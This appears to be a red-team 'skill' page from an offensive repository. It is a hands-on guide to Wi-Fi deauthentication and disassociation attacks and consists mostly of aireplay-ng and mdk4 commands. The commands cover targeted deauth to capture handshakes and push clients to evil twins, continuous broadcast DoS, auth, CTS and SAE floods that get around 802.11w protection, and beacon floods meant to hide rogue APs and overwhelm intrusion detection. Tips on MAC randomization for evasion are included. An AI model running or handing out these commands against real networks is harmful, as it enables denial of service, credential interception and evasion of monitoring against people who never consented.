offensive-deauth-disassoc skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.

Deauth / Disassoc Attacks

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.

Quick Workflow

  1. Identify target client + AP (BSSID, channel)
  2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
  3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
  4. Send the deauth burst at the right rate

Single-Client Deauth (Preferred)

Used to force handshake capture, push client to evil twin, or test reconnection behavior.

sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
  • --deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
  • More than 30 in a burst is unnecessarily noisy.

Broadcast Deauth (DoS, Use Sparingly)

# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous

# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.

PMF (802.11w) Awareness

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off

Action-Frame Attacks Against PMF

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:

# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID>     # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID>     # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID>     # WPA-Enterprise: SAE auth flood

Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.

Beacon Flooding

Confuse clients (and WIPS) by flooding fake beacons:

sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file

Use cases:

  • Hide your evil twin among noise
  • Stress-test client roaming logic
  • DoS WIPS dashboards (flood with thousands of fake APs)

Rate Tuning and Detection

Randomize source MAC across burst-and-pause cycles to spread the signal.

Engagement Cheatsheet

# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon

# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>

# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
